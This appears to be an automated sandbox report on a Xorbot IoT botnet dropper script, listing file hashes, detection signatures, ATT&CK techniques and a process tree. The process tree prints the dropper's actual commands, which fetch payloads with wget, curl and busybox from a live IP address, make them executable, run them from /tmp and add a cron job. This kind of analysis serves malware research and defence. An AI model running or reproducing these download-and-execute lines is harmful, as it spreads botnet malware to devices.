xorbot | 1cfa441a888b8dcf421d19f836edc247355421e42d6f4e9adb579e3e55b2ff1e

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/01/2025, 20:11

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General

Target

bins.sh
Size

10KB
MD5

24b2ac3e59f5d959842fd55121d3bdc9
SHA1

763ee9168932808f0f910a07eaec0cb840d640ad
SHA256

1cfa441a888b8dcf421d19f836edc247355421e42d6f4e9adb579e3e55b2ff1e
SHA512

f2945688e2a6c87ff40fb8dcdcf65ff6ed7b890107905f4c50fbe4c37962d2b8a4cd01f0912bc280e6ec54aa2375258344c2b6c959845d070e80d90c741903e0
SSDEEP

96:PC2UJJSHA2U0Wxt3tr3f8czKoMEn3nXqC2UJJxmLAnqU0Wxt6Lkr3f8c9gOrB2X9:NHDU0Wxt3hKoMEn3nwU0WxtwoMEn3I

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2008) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
692	chmod
734	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	693	3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	735	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Renames itself 1 IoCs

pid	Process
736	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ygPG5N	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/28/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/826/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/857/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/882/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/23/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/880/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/889/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/907/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/928/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/864/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/867/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/885/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/913/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/934/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/924/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/984/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/14/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/308/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/594/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/646/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/804/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/830/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1007/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/762/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/782/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/985/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1036/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/777/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/798/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/914/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/944/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/998/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1046/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/742/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/788/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/874/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/919/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/986/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/816/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/868/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/24/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/276/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/289/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/767/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/803/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/807/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/918/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/926/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/976/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1040/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1037/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/9/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/113/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/860/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/948/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/966/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/994/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/1001/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/731/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/746/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/828/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/906/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
File opened for reading	/proc/987/cmdline	uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	curl
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	busybox
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	wget
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	curl
File opened for modification	/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h	busybox
File opened for modification	/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:679
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  ./3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm 3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h
  2⤵
  PID:696
- /usr/bin/wget
  wget http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Writes file to tmp directory
  PID:697
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  ./uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:735
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:737
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:738
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:739
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:740
- /bin/rm
  rm uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW
  2⤵
  PID:742
- /usr/bin/wget
  wget http://66.63.187.225/bins/4q4z3m8k4sdvOOOMh36URHa6bHT8CHbUoc
  2⤵
  PID:747

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/3NOGXxXh3PKsA8UjthzWQcC5CuyqMFfu9h

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/uaE3TZiRjYaYkzXVdktiBEXomffvBeGBlW

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.ygPG5N

Filesize
210B

MD5
f4985de4cca3e62336cd106077078c76

SHA1
67d3c520a06ec1dbddaa9d78b58f7c3dcd8fca2a

SHA256
51188bea4a5545f09d058992d9628053d6c7c409586df8f358a59a51f8703140

SHA512
75893ea48214a7b460b1347f22d395f41db33d7c63c5159633bfb9c1211b1cd065435ba618ce305e23fb9c3b1bce980ac4883bd644967002735a3db79aee22d3

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads